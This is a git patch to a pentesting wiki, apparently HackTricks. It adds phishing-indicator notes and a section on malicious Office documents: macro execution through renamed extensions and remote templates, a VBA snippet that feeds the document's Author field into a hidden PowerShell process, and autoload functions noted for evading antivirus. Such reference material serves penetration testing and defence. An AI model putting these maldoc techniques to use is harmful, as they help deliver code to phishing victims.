From 5acd0ac9eaf3c04c8d09964a233d5726d8d0b5a6 Mon Sep 17 00:00:00 2001 From: CPol Date: Sun, 29 Nov 2020 23:31:10 +0000 Subject: [PATCH] GitBook: [master] 403 pages modified --- pentesting/pentesting-smtp/README.md | 11 ++++++++++ phising-documents.md | 31 ++++++++++++++++++++++++++++ 2 files changed, 42 insertions(+) diff --git a/pentesting/pentesting-smtp/README.md b/pentesting/pentesting-smtp/README.md index 9d23a68d6..51fe09195 100644 --- a/pentesting/pentesting-smtp/README.md +++ b/pentesting/pentesting-smtp/README.md @@ -364,6 +364,17 @@ You can attack some **characteristics** of **mail clients** to make the user thi **Find more information about these protections in** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)\*\*\*\* +### **Other phishing indicators** + +* Domain’s age +* Links pointing to IP addresses +* Link manipulation techniques +* Suspicious \(uncommon\) attachments +* Broken email content +* Values used that are different to those of the mail headers +* Existence of a valid and trusted SSL certificate +* Submission of the page to web content filtering sites + ## Exfiltration through SMTP **If you can send data via SMTP** [**read this**](../../exfiltration.md#smtp)**.** diff --git a/phising-documents.md b/phising-documents.md index c58a35f89..6f09b5007 100644 --- a/phising-documents.md +++ b/phising-documents.md @@ -1,5 +1,19 @@ # Phising Documents +Microsoft Word performs file data validation prior to opening a file. Data validation is performed in the form of data structure identification, against the OfficeOpenXML standard. If any error occurs during the data structure identification, the file being analysed will not be opened. + +Usually Word files containing macros uses the `.docm` extension. However, it's possible to rename the file changing the file extension and still keep their macro executing capabilities. +For example, an RTF file does not support macros, by design, but a DOCM file renamed to RTF will be handled by Microsoft Word and will be capable of macro execution. +The same internals and mechanisms apply to all software of the Microsoft Office Suite \(Excel, PowerPoint etc.\). + +You can use the following command to check with extensions are going to be executed by some Office programs: + +```bash +assoc | findstr /i "word excel powerp" +``` + +DOCX files referencing a remote template \(File –Options –Add-ins –Manage: Templates –Go\) that includes macros can “execute” macros as well. + ### Word with external image Go to: _Insert --> Quick Parts --> Field_ @@ -7,3 +21,20 @@ _**Categories**: Links and References, **Filed names**: includePicture, and **Fi ![](.gitbook/assets/image%20%28347%29.png) +### Macros Code + +```bash +Dim author As String +author = oWB.BuiltinDocumentProperties("Author") +With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-") + .StdIn.WriteLine author + .StdIn.WriteBlackLines 1 +``` + +## Autoload functions + +The more common they are, the more probable the AV will detect it. + +* AutoOpen\(\) +* Document\_Open\(\) +*